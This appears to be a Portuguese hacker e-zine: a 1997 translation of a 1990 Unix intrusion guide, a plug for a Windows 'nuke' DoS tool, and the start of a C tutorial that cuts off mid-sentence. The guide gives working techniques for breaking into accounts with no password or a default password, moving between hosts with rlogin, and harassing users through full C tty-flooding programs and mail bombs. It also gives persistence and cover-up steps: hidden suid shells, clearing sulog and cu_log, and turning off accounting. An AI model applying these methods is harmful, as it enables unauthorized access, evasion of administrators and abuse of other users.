pedir a voce entrar uma. (wallah! Voce pegou uma conta para si proprio. Geralmente bin e sys tem um * como senha). Se a senha existe voce tera que entrar a senha antiga (Espero que voce saiba isso!) para a conta. Entao, voce esta no mesmo bote que antes. (BTW -- Esses sistemas loucos sao geralmente Xenix/386, Xenix/286, or Altos/286) Com processadores de textos, geralmente voce pode selecionar o comando load, e quando o processando de texto pedir um arquivo, voce pode selecionar o arquivos passwd, para olhar por contas abertas, ou ao menos contas valida para hackear. Um exemplo pode ser o sistema informix. Voce pode pegar um processador de textos tipo o Samna word, ou algo assim, e aqueles Lamers nao irao proteger-se contra uma coisa tipo aquela. Porque? O arquivo Passwd tem que ser legivel por todos , assim cada programa pode ter um "status" seu. Entretanto, processadores de textos pode ser feitos para edicao restrita de um diretorio, ou conjunto de diretorios. Aqui esta um exemplo: $ id uid=100(sirhack) gid=100(users) $ sword (processador de textos aparece) (selecione LOAD A FILE) : /etc/passwd (voce ve: ) root:dkdjkgsf!!!:0:0:Sysop:/:/bin/sh sirhack:dld!k%%^%:100:100:Sir Hackalot:/usr/usr1/sirhack:/bin/sh datawiz::101:100:The Data Wizard:/usr/usr1/datawiz:/bin/sh ... Agora eu encontrei uma conta para ser pega! Posso pegar "datawiz" sem problemas, depois eu posso mudar a senha, coisa que ele nao ira gostar Alguns sistemas deixam o "sysadm" sem senha (stupidos!), e agora, muitas versoes do Unix, como Xenix, Unix, BSD, ou alguns outros, eles tem um shell de sysadm que ira deixar voce fazer toda a parte importante via menu, como criar usuarios, mas voce precisa ter ansi ou algo assim. Voce pode pedir um menu. Algumas vezes no UNIX SYSTEM V, quando ele mostra TERM = (termtype), e esta esperando que voce apente enter ou outra coisa, voce ira pegar um menu.. ack. V. Arquivos de senhas Escondidos (Shadowed) Nao tenho muita coisa a falar sobre isso. Tudo que isso faz, e que quando cada campo de senha no arquivo passwd tem um "x" ou apenas um caracter. O que isso faz e mexer com voce, porque voce nao pode ler o arquivo de senhas escondido. Apenas o root pode, e ele contem todas as senhas, assim voce nao ira saber quais as contas que nao tem senhas, entre outras coisas. Existem muitos outros esquemas de hackerar o unix, desde escrever programas em linguagem assembly que modifica o PCB ate codigo auto-alteravel que o interrupt handler nao captura, e outras coisas tipo isso. Entretanto e nao quero dar mais nada. Agora eu vou falar sobre Internet. --->>> InterNet <<<--- O que eu quero falar sobre InterNet? Bem, porque ela e um exemplo vivo de uma rede TCP/IP, melhor conhecido como WAN (Wide-Area-Network ou Rede de Area Ampla). Agora, geralmente voce ira encontrar Sistemas BSD na Internet, ou SunOS, porque eles sao mais comuns. Mas isso pode mudar quando o System V, Rel 4.0, Version 2.0 chegar, de qualquer modo esses BSDs/SunOSs gostar de deixar facil pular de um computador para outro uma vez que voce esta conectado. O que acontece e que CADA sistema tem um "yello page password file". Melhor conhecido como yppasswd. Se voce der uma olhada la e ver senhas vazias voce pode usar rsh, rlogin, etc.. para ir para aquele sistema. UM sistema em particular por onde eu passei tinha um arquivo yppasswd onde *300* usuarios nao tinhas senhas. Uma vez que eu entrei com a conta "test", tudo o que tive que fazer era selecionar quem eu queria ser, e fazer: rlogin -l usuario (algumas vezes -n). Entao eu podeia conectar-me no sistema que eu ja estava, via TCP/IP. Entretanto, quando voce faz isso, lembre-se que o yppasswd apenas pertence ao sistema que voce esta naquele momento Para encontrar contas, voce pode encontar o yppasswd e fazer: % cat yppasswd | grep :: (Procurar por contas sem senhas) Ou, se voce nao encontrar yppasswd.. % ypcat passwd | grep :: Em UM sistema (que ficara confidencial), Eu encontrei a conta DAEMON deixada aberta no arquivo yppasswd. Nada mal. Atraves de um sistema na internet, voce pode alcancar muitos. Apenas use rsh, ou rlogin, e olhe no arquivo: /etc/hosts para sites validos que voce pode alcancar. Se voce entrar num sistema, e der um rlogin para outro lugar, e se ele pedir uma senha, isso significa uma de duas coisas: A. A conta que voce hackeou no computador esta no computador alvo tambem. Tente usar a mesma senha (se tiver) que voce a sua conta tem. Se ela e um default, entao com certeza ela esta no outro sistema, boa sorte... B. rlogin/rsh passam seu nome atual para o outro sistema, assim e como se voce digitasse no seu login no prompt de "login: ". Voce pode nao existir na outra maquina. Tente "rlogin -l nome", ou rlogin -n nome.. algumas vezes, voce pode executar "rwho" em outra maquina, e pegar uma conta valida. Algumas notas sobre servidores de Internet. Existem "GATEWAYS" que voce pode entrar quer permite acesso a MUITOS sites Internet. Eles rodam uma versao modificada do GL/1 ou GS/1. Pessima escolha. Eles tem arquivos de ajuda. Entretanto, voce pode pegar um acesso priviligiado (privileged) neles, que ira dar a voce CONTROLE do gateway. Voce pode reseta-lo, remover sistemas da Internet, etc.. Quando voce pedir para ser privilegiado, ele ira pedir uma senha. Existe um default. O default e "system". Eu passei por *5* gateways com a senha default. Depois denovo, DECNET tem a mesma senha, e eu passei por mais de 100 sistemas com a senhas privilegiada padrao. Legal. O Gateway que leva para APPLE.COM tem a senha default. Qualquer um pudia ter tirado a apple.com da internet. Fique avisado que existem muitas redes hoje em dia que usam TCP/IP.. Tal como BARRNET, LANET, e muitas outras redes de Universidades. --** Divertindo-se (Com a cara dos outros) **-- Agora, Depois de tudo, voce pode tentar se divertir um pouco. Nao, Eu nao estou dissendo em ir acabar com Winchesters, ou acabando com o elo de diretorios para pegar inodes (LeBeau: Acho que quer disser nos na Internet, talvez), Eu digo brincar com os usuarios na rede. Existem muitas coisas que podem ser feitas. Redirecionar a saida de dados e uma das melhores. Aqui esta um exemplo: $ who loozer tty1 sirhack tty2 $ banner You Suck >/dev/tty1 $ Isso envia a saida de dados para o loozer. O TTY1 e onde a E/S esta sendo realizada (geralmente um modem se e um TTY). Voce pode repetitivamente usar o banner no usuario com uma estrutura do while em shell, fazendo com que ele se desconecte. Ou voce pode simplesmente se diverte com ele. Observe esse programa em C: #include #include #include main(argc,argument) int argc; char *argument[]; { int handle; char *pstr,*olm[80]; char *devstr = "/dev/"; int acnt = 2; FILE *strm; pstr = ""; if (argc == 1) { printf("OL (OneLiner) Version 1.00 \n"); printf("By Sir Hackalot [PHAZE](Traduzido por LeBeau)\n"); printf("\nsintaxe: ol tty message\n"); printf("Example: ol tty01 You suck\n"); exit(1); } printf("OL (OneLiner) Version 1.0\n"); printf("By Sir Hackalot [PHAZE]\n"); if (argc == 2) { strcpy(olm,""); printf("\nDummy! You forgot to Supply a ONE LINE MESSAGE\n"); printf("Enter one Here => "); gets(olm); } strcpy(pstr,""); strcat(pstr,devstr); strcat(pstr,argument[1]); printf("Sending to: [%s]\n",pstr); strm = fopen(pstr,"a"); if (strm == NULL) { printf("Error writing to: %s\n",pstr); printf("Cause: No Write Perms?\n"); exit(2); } if (argc == 2) { if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s): \n",logname()); fprintf(strm,"%s\n",olm); fclose(strm); printf("Message Sent.\n"); exit(0); } if (argc > 2) { if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s):\n",logname()); while (acnt <= argc - 1) { fprintf(strm,"%s ",argument[acnt]); acnt++; } fclose(strm); printf("Message sent!\n"); exit(0); } } O que o codigo acima faz e enviar uma linha de texto para um dispositivo que se possa escrever nele por voce no diretorio /dev. Se voce tentar isso no usuario "sirhack" ele ira notificar sirhack daquilo que voce esta fazendo. Voce pode suprir um argumento na linha de comandos, ou nao preencher a messagem, depois o programa pede uma. Voce DEVE suprir um terminal. Tambem, se voce usar ? ou *, ou (), ou [], voce nao tem que suprir uma messagem na linha de comandos espere ate que ele peca por uma. Exemplo: $ ol tty1 Lammer OL (OneLiner) Version 1.00 by Sir Hackalot [PHAZE](Traduzido por LeBeau) Sending to: [/dev/tty1] Message Sent! $ Or.. $ ol tty1 OL (OneLiner) Version 1.00 by Sir Hackalot [PHAZE](Traduzido por LeBeau) Dummy! You Forgot to Supply a ONE LINE MESSAGE! Enter one here => Loozer! Logoff (NOW)!! ^G^G Sending to: [/dev/tty1] Message Sent! $ Voce pode fazer para enviar messagens falsas a partir do root. Aqui vai outro exemplo: /* * Hose another user */ #include #include #include #include #include #include #include #include #define NMAX sizeof(ubuf.ut_name) struct utmp ubuf; struct termio oldmode, mode; struct utsname name; int yn; int loop = 0; char *realme[50] = "Unknown"; char *strcat(), *strcpy(), me[50] = "???", *him, *mytty, histty[32]; char *histtya, *ttyname(), *strrchr(), *getenv(); int signum[] = {SIGHUP, SIGINT, SIGQUIT, 0}, logcnt, eof(), timout(); FILE *tf; main(argc, argv) int argc; char *argv[]; { register FILE *uf; char c1, lastc; int goodtty = 0; long clock = time((long *) 0); struct tm *localtime(); struct tm *localclock = localtime( &clock ); struct stat stbuf; char psbuf[20], buf[80], window[20], junk[20]; FILE *pfp, *popen(); if (argc < 2) { printf("usage: hose user [ttyname]\n"); exit(1); } him = argv[1]; if (argc > 2) histtya = argv[2]; if ((uf = fopen("/etc/utmp", "r")) == NULL) { printf("cannot open /etc/utmp\n"); exit(1); } cuserid(me); if (me == NULL) { printf("Can't find your login name\n"); exit(1); } mytty = ttyname(2); if (mytty == NULL) { printf("Can't find your tty\n"); exit(1); } if (stat(mytty, &stbuf) < 0) { printf("Can't stat your tty -- This System is bogus.\n"); } if ((stbuf.st_mode&02) == 0) { printf("You have write permissions turned off (hehe!).\n"); } if (histtya) { if (!strncmp(histtya, "/dev/", 5)) histtya = strrchr(histtya, '/') + 1; strcpy(histty, "/dev/"); strcat(histty, histtya); } while (fread((char *)&ubuf, sizeof(ubuf), 1, uf) == 1) { if (ubuf.ut_name[0] == '\0') continue; if (!strncmp(ubuf.ut_name, him, NMAX)) { logcnt++; if (histty[0]==0) { strcpy(histty, "/dev/"); strcat(histty, ubuf.ut_line); } if (histtya) { if (!strcmp(ubuf.ut_line, histtya)) goodtty++; } } } fclose(uf); if (logcnt==0) { printf("%s not found! (Not logged in?)\n", him); exit(1); } if (histtya==0 && logcnt > 1) { printf("%s logged more than once\nwriting to %s\n", him, histty+5); } if (access(histty, 0) < 0) { printf("No such tty? [%s]\n",histty); exit(1); } signal(SIGALRM, timout); alarm(5); if ((tf = fopen(histty, "w")) == NULL) goto perm; alarm(0); if (fstat(fileno(tf), &stbuf) < 0) goto perm; if (geteuid() != 0 && (stbuf.st_mode&02) == 0) goto perm; ioctl(0, TCGETA, &oldmode); /* save tty state */ ioctl(0, TCGETA, &mode); sigs(eof); uname(&name); if (strcmp(him,"YOURNAMEHERE") == 0) yn = 1; if (yn == 1 ) { fprintf(tf, "\r(%s attempted to HOSE You with NW)\r\n",me); fclose(tf); printf("Critical Error Handler: %s running conflicting process\n",him); exit(1); } fflush(tf); mode.c_cc[4] = 1; mode.c_cc[5] = 0; mode.c_lflag &= ~ICANON; ioctl(0, TCSETAW, &mode); lastc = '\n'; printf("Backspace / Spin Cursor set lose on: %s\n",him); while (loop == 0) { c1 = '\b'; write(fileno(tf),&c1,1); sleep(5); fprintf(tf,"\\\b|\b/\b-\b+\b"); fflush(tf); } perm: printf("Write Permissions denied!\n"); exit(1); } timout() { printf("Timeout opening their tty\n"); exit(1); } eof() { printf("Bye..\n"); ioctl(0, TCSETAW, &oldmode); exit(0); } ex() { register i; sigs(SIG_IGN); i = fork(); if (i < 0) { printf("Try again\n"); goto out; } if (i == 0) { sigs((int (*)())0); execl(getenv("SHELL")?getenv("SHELL"):"/bin/sh","sh","-t",0); exit(0); } while(wait((int *)NULL) != i) ; printf("!\n"); out: sigs(eof); } sigs(sig) int (*sig)(); { register i; for (i=0; signum[i]; i++) signal(signum[i], sig); } O que o codigo acima e? uma versao modificada do comando write. O que ele faz? Ele avanca o cursor devois volta na tela do usuario que esta rodando. Entretanto, ele nao afeta fisicamente a entrada de dados, o usuario pensa que ele faz. Entretanto, ele muda a velocidade da entrada de dados. O sleep(xx) pode ser alterado para fazer os dados passarem mais rapidos ou menos rapidos. Se voce puser sua conta no "YOURNAMEHERE", ele ira proteger voce de ser pego por isso, se alguem de um unix de acesso publico encontra o executavel em seu diretorio. Voce pode fazer um programa menor que faz quase a mesma coisa, mas voce precisa suprir o terminal, observe: /* Backspace virus, by Sir Hackalot [Phaze] */ #include #include main(argc,argv) char *argv[]; int argc; { int x = 1; char *device = "/dev/"; FILE *histty; if (argc == 1) { printf("Bafoon. Supply a TTY.\n"); exit(1); } strcat(device,argv[1]); /* Make the filename /dev/tty.. */ histty = fopen(device,"a"); if (histty == NULL) { printf("Error opening/writing to tty. Check their perms.\n"); exit(1); } printf("BSV - Backspace virus, By Sir Hackalot.\n"); printf("The Sucker on %s is getting it!\n",device); while (x == 1) { fprintf(histty,"\b\b"); fflush(histty); sleep(5); } } Isso e tudo. Se voce pode escrever para o tty dele, voce pode fazer isso nele. Ele envia dois backspaces para eles a cada 5 segundos aproximadamente. Voce pode rodar esse programa no background. (&). Aqui esta um exemplo: $ who sirhack tty11 loozer tty12 $ bsv tty12& [1] 4566 BSV - Backspace virus, by Sir Hackalot The Sucker on /dev/tty12 is getting it! $ Agora, ele vai ficar "atacando" ele, ate que ele desconecte, ou voce mate o processo (Lembra do kill?) (esse programa que no caso tinha numero = 4566 -- quando voce usa &, ele fornece o pid [geralmente]). ** Nota *** Tenha em mente que o MSDOS, e outros SO usam o metodo de CR/LF para terminar uma linha. Entretanto, o LF termina uma linha em Unix. Voce deve remover os CR's em um upload de arquivos ascii se voce quiser que o editor trabalhe direito. Senao, voce vera um ^M no fim de cada linha. Sei que isso e chato, mas voce precisa arrumar isso. Eu tenho um grande numero de programas que atrapalhas os usuarios, mas e suficiente que voce deixe a imaginacao voar, desde que voce programe em C. Voce pode encher o saco dos usuarios de outras formas. Uma coisa que voce pode fazer e encher o usuario de emails idiotas. A forma para fazer isso e encontrar um arquivo binario (30k ou maior) no sistema que voce tem acesso para ler. Entao, faca isso: $ cat arquivo_binario | mail loozer ou $ mail loozer < arquivo_binario Essas sao duas formas de enviar um email. A primeira messagem ira ter uma linha from mostrando quem mandou.. (voce), mas a segunda nao ira! Uma vez que ele nao existe, o leitor de email ficara saindo e dando ao usuario uma mensagem de erro ate o erro ser corrigido. O modo de fixar isso e ir ate a caixa de correio do usuario que foi atingido com esse truque (geralmente so o usuario ou o root podem fazer isso) editar o arquivo e ascrestar uma linha from.. tipo: From conta. entao ela vai ficar certo. Voce pode atrapalhar o usuario ao usar o comando "cat" para enviar um arquivo binario para a tty dele. Digamos que Loozer esta no tty12. Voce pode fazer.. $ cat arquivo_binario >/dev/tty12 $ Ele pode dar uma pausa enquanto ela faz a saida de dados. Se voce quiser continuar o que voce estava fazendo instantaneamente, faca: $ cat arquivo_binario >/dev/tty12& [1] 4690 $ E ele sera provavelmente desconectado. Voce pode enviar a saida de dados de tudos o que faz em seu terminal para ele. Tudo o que VOCE fizer em shell. Tipo isso: $ sh >/dev/tty12 $ Voce tera o prompt mas nao vera resposta a nenhum comando, o usuario ira... $ ls $ banner Idiota! $ echo Panaca! $ Ate voce digitar exit, ou teclar ctrl-d. Dica do LeBeau: Ai vi uma dica para ninguem disser que eu sou um lammer que so entende de Ingles: $ while : ; do > banner Idiota! >/dev/tty12 >done outra forma disso seria: $ banner Idiota! > idiota $ while : ; do > write loozer < idiota >done Isso vai fazer um loop infinito, enchendo a tela do usuario com a palavra Idiota! A diferenca do primeiro para o segundo seria que o segundo mostra quem enviou a mensagem ja a primeira nao. Existem muitas coisas que voce pode fazer. Voce pode enviar um write falso para alguem e fazer ele pensae que foi de alguem do outro lado do inferno. Seja criativo. Quando voce estiver olhando por coisas a fazer, procure por falhas, ou tente fazer alguem rodar um cavalo de troia que faz um shell suid. Se voce fizer alguem rodar um cavalo de troia que faz isso, voce pode rodar a suid, e desconectar aquele cara ao matar a PID principal dele. (kill -9 algumacoisa). Ou, voce pode tirar eles fora por um bom tempo acrescentando a linha "kill -1 0" ao .profile dele. No interior das falhas, sempre procure bits de suid maus. Em um sistema que devia ser invencivel Eu fui capaz de ler/modificar o email de todos, porque eu usei um mailer (programa gerenciador de email) que tinha tanto o GroupID quanto o UserID. Quando eu fui dar um shell a partir dele, o programa instantaneamente mudou meu ID efetivo de volta, assim eu nao podia fazer nada alem daquilo que eu podia fazer. Mas ele nao foi desenvolvido para trazer o GROUP ID de volta. O sysop errou nisso. Assim quando eu fiz o comando id eu vi que pertencia ao grupo "mail". Arquivos de email podem ser lidas/escritas pelo user "mail", e pelo grupo "mail". Eu entao fiz um shell sgid (set group id). Para mudar meu id de grupo para "mail" quando eu rodar ele, e procurar por importante emails e isso me deu uma boa informacao. Assim, fique de olho por permissoes pobres. Outra coisa, depois que voce ganha acesso, voce pode querer manter isso. Aqui estao algumas dicas sobre isso: 1. Nao espalhe. Se o sysadm ve que joeuser conectou 500 vezes numa noite.... entao.... 2. Nao fique muitas horas por vez. Eles podem tracar da onde voce esta. Tambem eles vao saber se voce e irregular se o joeuser estiver conectado depois de 4 depois do trabalho. 3. Nao destrua o sistema. Nao apague arquivos importantes. Use a maquina para algo especifico (para pesquisar codigo fonte, desenvolver programas, site de email). Nao seja um filho da mae com todos, e nao tente apagar tudo o que voce pode. 4. Nao mexa com os usuarios constantemente. Verifique os processos deles e rode o que eles rodam. Voce pode pegar uma boa info (snoop!) 5. Se voce acrescentar uma conta, primeiro olhe nas contas que ja existem. Se voce ve um monte de contas que tem apenas 3 letras, entao a sua deve ser tambem. Se um sistema usa "cln, dok, wed" ou algo assim, nao acrescente uma conta chamada "joeuser", acrescente alguma que e somente as iniciais. 6. Quando voce acrescentar uma conta, ponha um nome feminino, so se isso encaixa (Ou seja, se apenas companhias conectam no unix, ponha uma nome de companhia la). As pessoas nao suspeitam que hackers usem nomes de mulheres. Eles procuram por nomes de homens. 7. Don't cost the Unix machine too much money. Ie.. don't abuse an outdial, or if it controls trunks, do not set up a bunch of dial outs. If there is a pad, don't use it unless you NEED it. 8. Nao use x.25 pads. O uso deles e altamente descoberto. 9. Deixe o log acct desligado (acct off) se voce tiver como fazer isso. Ligue-o assim que voce terminar. 10. Remova qualquer cavalo de troia que voce deixou ativado para dar a voce acesso assim que voce tiver acesso. 11. NAO mude o arquivo MOTD para disser "Eu hackeei esse sistema" . Muitas, mas muitas pessoas fazem isso, e perdem o acesso dentro de 2 horas. 12. Tenha bom julgamento. Cubra seus rastros. Se voce usa su, limpe o sulog. 13. Se voce usa cu, limpe o cu_log. 14. Se voce usa o defeito smtp (wizard/debug), crie um shell de uid. 15. Esconda todos shell suid. Aqui esta como: goto /usr (ou outro dir) faca: # mkdir ".. " # cd ".. " # cp /bin/sh ".whatever" # chmod a+s ".whatever" Os "" sao necessarios para entrar no diretorio .. ! Ele nao ira aparecer em uma listagem de arquivos, e e dificil paca para os sysadms entrar se voce fizer 4 ou 5 espacos nele (".. "), porque tudo o que ele vao ver na listagem completa sera .. e eles nao serao capazes de entrar a menos que eles usem "" e saibam o espacamento. "" e usado quando voce quer fazer literais, ou use um coringa como parte do nome de arquivo. 16. Don't hog cpu time with password hackers. They really don't work well. 17. Nao use muito espaco em disco. Se voce arquivar algo para copiar, copie isso, depois apague os arquivos. 18. Basicamente -- CUBRA SEUS RASTROS. Algumas notas finais: Agora, eu escuto inumeros rumores e estorias tipo "E muito dificil entrar nos sistemas...". Errado. (Yo Pheds! Voce estao lendo isso??). Isso e verdade quando voce esta tratando com WAN, tipo telnet, tyment, e a Internet, mas nao com computadores locais foras daquelas redes. Aqui esta a historia: A partir de alguns anos atras, muitas companhias pequenas cresceram como VARs (Value Added Resellers, algo como revendedoras) para Unix e Hardware, de forma a fazer dinheiro. Agora, essas companhias rapidamente falam com outras companhias em comprar qualquer coisa, e eles fazem isso por Unix. Agora, o LeBeau esta cheio de traduzir, uma rapida interpretacao disso seria que as empresas deixam as senhas padrao de proposito para que as empresas (e quem mais quiser) possam entrar . Now, these companies fast talk companies into buying whatever, and they proceed in setting up the Unix. Now, since they get paid by the hour usaually when setting one up, they spread it out over days.... during these days, the system is WIDE open (if it has a dialin). Get in and add yourself to passwd before the seal it off (if they do..). Then again, after the machine is set up, they leave the defaults on the system. Why? The company needs to get in, and most VARs cannot use unix worth a shit, all they know how to do is set it up, and that is ALL. Then, they turn over the system to a company or business that USUALLY has no-one that knows what they hell they are doing with the thing, except with menus. So, they leave the system open to all...(inadvertedly..), because they are not competant. So, you could usually get on, and create havoc, and at first they will think it is a bug.. I have seen this happen ALL to many times, and it is always the same story... The VAR is out for a fast buck, so they set up the software (all they know how to do), and install any software packages ordered with it (following the step by step instructions). Then they turn it over to the business who runs a word processor, or database, or something, un aware that a "shell" or command line exists, and they probably don't even know root does. So, we will see more and more of these pop up, especially since AT&T is now bundling a version of Xwindows with their new System V, and Simultask... which will lead to even more holes. You'll find systems local to you that are easy as hell to get into, and you'll see what I mean. These VARs are really actually working for us. If a security problem arises that the business is aware of, they call the VAR to fix it... Of course, the Var gets paid by the hour, and leaves something open so you'll get in again, and they make more moolahhhh. Voce pode usar esse arquivo para qualquer coisa que voce quiser. Eu nao posso parar voce. Apenas para aprender unix (heh) ou outras coisas. Mas e o seu rabo que vai ser preso se fizer besteira, nao eu. Sempre considere as penalidades antes de voce tentar algo. Algumas veze ele nao vale o esforco, algumas vezes vale. tente ser compreensivo, mesmo quando o sistema nao ajudar. Eu usei muitas tecnicas e truques, especificamente para fazer que voce aprenda algo por si proprio, e tambem para reter informacoes assim voce tera muitos segredos. Voce pode passar esse arquivo, DO JEITO QUE ESTA, para qualquer BBS boa de H/P ou Home Page Boa sobre hackers (eu sugiro que voce visite a minha HP em: http://www.geocities.com/SiliconValley/Lakes/3892 ). Sysops podem acrescentar coisas no arquivo para disser da onde ele foi copiado. Esse arquivo e Copywrited (haha) pelo Sir Hackalot, e pelo PHAZE, no ano 1990. Traduzido por LeBeau no ano de 1997. -Sir Hackalot of PHAZE 1990. -LeBeau 1997. ┌────────────────────────────────────────────────────────────────────────────┐ │ 11. Exploit Generator │ └────────────────────────────────────────────────────────────────────────────┘ Todos os usurios de windows esperam ter os poderosos nukes encontrados em linux para o mesmo. Antes os usuarios de windows so tinham em sua disposição os nukes para derrubar pessoa do IRC ( internet relay chat ). Mas já algum tempo foi criado o exploit generator que contem os famoso nukes de linux compilados para windows. Antes disso hávia milhares de nukes prometendo travar os usuarios de windows 95 , eu testei quase todos e nenhum funcionou. Até que um dia eu baixei o Exploit generator e fui testar ele. E ele funcinou perfeitamente! Consegui nukar pessoas que estavao usando ate Firewall! Muito rulez! Ainda tem um Portscan nele , muito util para vo ce ver as portas dos hosts antes de atacar. Nele voce encontra esses nukes : * LAND ( o melhor ) * NESTEA ( 2 melhor ) * SUFFER3 * BOINK * SPOOFED OOB * SMURF e mais um port scan. Atualmente este programa nao esta mais sendo dis tribuido na page deles (www.aggressor.net) Tente ir na yahoo e bote "exploit generator". ZeFuReNgA r0x! ────────────────────────────────────────────────────────────────────────────┐ │ 12. PROGRAMAÇÃO │ └────────────────────────────────────────────────────────────────────────────┘ Bom galera, e isso ai... Vou tentar ensinar a vcs a linguagem "C", e claro q vcs nao vao querer aprender tudo lendo um unico zine neh? Mas nas proximas edicoes eu vou continuar escrevendo e ja vai da pra ficar com uma base legal... ... Bom, o negocio e o seguinte... Como sempre, eu vou botar um pouco de "historia" aqui no comeco, se nao quiser ler nao precisa, pode pular. Ah! Outra coisa... Como e a primeria edicao, eu vou assumir q vc nao sabe nada, entao nao vai encher o saco, se vc ja souber de alguma coisa, pula e le o proximo topico. ╔═══════════════════════╗ ║ Historia da linguagem ║ ╚═══════════════════════╝ * Dennis Ritchie foi quem inventou a primeira implementacao da linguagem C. A linguagem C veio de uma linguagem + antiga, chamada BCPL. Martin Richards desenvolveu BCPL, que influenciou Ken Thompson na invencao de uma linguagem chamada B, que depois deu no desenvolvimento do C, nos anos 70. ╔═════════════════════════════════╗ ║ Conhecendo um pouco + sobre o C ║ ╚═════════════════════════════════╝ * O C e uma linguagem q por si so ja esta muito ligada o linux mas ele tambem e muito poderoso em um ambiente MS-DOS. Bom, nao e uma boa linguagem p/ principiantes, pois ela usa alguns contrucoes menos obvias... Eu gosto muito do C, pq ele e uma linguagem q da muita liberdade para o programador, e com ele, vc pode fazer praticamente tudo o q quiser. E claro q tambem tem o outro lado da moeda, se vc escrever um codigo com um erro, o compilador do C pode provavelmente nao reclamar de nada, mas depois o programa vai travar e vc nao vai saber pq. :) Se fosse em Pascal, provavelmente vc receberia uma menssagem de erro e tal... Mas afinal de contas, o C e uma linguagem para programadores.... Se vc sabe usa, se nao sabe... O C geralmente e considerado uma linguagem de nivel medio, ou seja, ela combina os elementos das linguagens de nivel alto e baixo... Com o C vc pode ter muito da funcionalidade ate mesmo do Assembly, como por exemplo a manipulacao bit a bit. ╔═══════════════════════════╗ ║ C - Linguagem Estruturada ║ ╚═══════════════════════════╝ * O C e uma linguagem esturada, ou seja, ele forma blocos de codigo. O bom da linguagem estruturada, e q o codigo fica muito + limpo. Qualquer um q ja tenha programado em BASIC ou ASM conhece o drama... Vc comeca a ler o programa e derrepente tem um goto/jmp la pra cima... Ai vc comeca a ler tudo de novo... depois volta pra baixo... em suma, e um saco. Alem de ser muito + dificil de ser ler, e tambem muito + dificil e manter um codigo desse tipo. E claro q c vc quiser vc pode fazer uso de um goto em C, por exemplo, mas o uso dele deve ser evitado, a nao ser q em casos especiais... Muito raramente vc vai precisar usar um comando desse tipo. Nao precisa nem dizer q as linguagens estruturadas sao + recentes. Outro exemplo de linguagem estruturada e o Pascal. ╔═══════════════════════════╗ ║ Palavras Chave (KEYWORDS) ║ ╚═══════════════════════════╝ * Bom, e aqui q a linguagem realmente comeca... Ainda existem muitos conceitos a aprender, mas nao adianta nada jogar muita coisa de uma vez... A seguir vai uma lista com todas as palavras chave do C. Nao se preocupe em entender todos agora... Eu vou ensina-las aos poucos. Apenas lembre q elas existem. Lembre-se de nunca nomear uma variavel ou funcao com o mesmo nome de uma variavel global. Mesmo q o compilador aceite, isso pode depois resultar num bug bem chato de se descobrir. :) AUTO DEFAULT FLOAT REGISTER STRUCT VOLATILE BREAK DO FOR RETURN SWTICH WHILE CASE DOUBLE GOTO SHORT TYPEDEF CHAR ELSE IF SIGNED UNION CONST ENUM INT SIZEOF UNSIGNED CONTINUE EXTERN LONG STATIC VOID * Como vc ja deve ter percebido, sao no total 32 palavras chave. Nao precisa decorar todas, ate pq, algumas sao + usadas do q outras. VOLATILE por exemplo, e muito pouco usada. Outra coisa a saber, e q o C e case-sensivite... Exatamente como o LINUX. Por exemplo, if e uma palavra chave, enquanto q IF nao. ╔══════════════════════╗ ║ Compilando programas ║ ╚══════════════════════╝ * Pra quem ainda nao sabe, quando vc escreve um programa, ele nao e "executavel"... Ou seja, o computador nao entende aquele programa. Ele ainda nao esta em linguagem de maquina. E para criar um arquivo executavel, vc tem q compilar o seu .C Isso aqui e um topico muito vasto OK? Da pra ficar horas aqui analisando os varios compiladores C q existem por ai... Aqui vai um exemplo de como compilar um programa no LINUX: -> gcc -o programa programa.c Se vc quiser saber + sobre isso, entra no help do seu compilador... heeehehe Ah! Se vc nao tem nenhum ainda, pega o DJGPP, ele e bom, e o melhor de tudo... E gratis! ╔═══════════════════════╗ ║ Comecando a programar ║ ╚═══════════════════════╝ * E galera... Agora chega de teoria, e vamos um pouco a pratica. Aqui vai um programa muito simples pra gente comecar a analisar: #include int main(void) { printf("icmp security group copyright 1998!\n"); return(0); } Esse programa aqui e super simples... Mas e ideal pra gente comecar a entender a estrutura dos programas em C. Q ele simplesmente imprimi uma palavra na tela a maioria ja deve ter percebido, mas aqui vai uma explicao linha a linha. #include --> Essa linha inclui a biblioteca stdio.h Essa biblioteca e muito importante, e deve ser incluida em quase todos os programas q vc fizer. int main(void) --> Hummmmm... Aqui e onde comeca a funcao main() Essa funcao deve existir em qualquer programa, e na maioria das vezes ela sera a primeira a ser executada. Uma funcao normalmente aparece assim: (lista de parametros) No caso, o q esta especificado aqui, e q a funcao main retorna um tipo inteiro... Na lista de parametros podia muito bem ter algo como "int a", mas ai aparece uma das nossas palavras chaves... void. No caso, o void serve para dizer q funcao main nao vai receber nenhum parametro... Lembre-se q como ela e a primeira funcao a ser executada, os seus parametros vem da linha de comando. { -> O { (Abre chaves) em C, serve para delimitar qualquer bloco de codigo... No caso, os dois { e } estao delimitando onde comeca e termina a funcao main()... Pode nao fazer muito sentido agora, mas quando o programa tiver + de 1 funcao, com certeza vc vai entender. :) printf("ICMP!\n"); -> Aqui nos temos uma chamada a uma funcao... A funcao printf esta no arquivo stdio.h ... Lembra q ele foi incluido no nosso codigo logo no comeco??? Como uma funcao, tudo q estiver dentro do parentese serao os parametros... Nao se preocupe em entender como isso funciona, pelo menos nao por enquanto... Se vc aprender como usar a funcao ja e um bom comeco. :) Outra coisa importante, e q na linguagem C, o ; (ponto e virgula), e como se fosse o ponto final no portugues... Ele serve para informar ao compilador onde terminam as intrucoes... return(0); -> Outra palavra chave... Essa aqui serve para retorna algo para quem chamou a funcao... O 0(zero) entre parenteses, e o q a funcao retorna... Vale lembrar q esse zero vai ir pros DOS. No caso, o DOS vai interpretar o zero, como uma menssagem q diz q ocorreu tudo certo no programa... ... Se tivesse tido um erro, poderia ser return(1); Aqui cabem duas observacoes importantes, o return() nao pode ser omitido na funcao main, pois ela foi declarada como q retorna int. Segundo, esse return() ja "sai" da funcao... Se houvesse algum codigo depois dele, nao seria executado. Notou o ; (ponto e virgula)? Nao esqueca dele... } -> + ou - igual ao { (abre chaves), so q aqui delimita o final da funcao. No caso, final da funcao main(). ╔═══════════════════════╗ ║ Segundo programa em C ║ ╚═══════════════════════╝ * Aqui vai outro programa... Se vc tiver duvida no q ja foi mostrado, procure no primeiro exemplo. Eu so vou explicar o q aparecer de novo. #include int main(void) { printf("123"); printf("45\n"); printf("\tPrimeira string\n"); printf("-> Numero: %d\n\n", 10); printf("Segunda string.\n"); return(0); } Depois q for rodado, o programa vai produzir 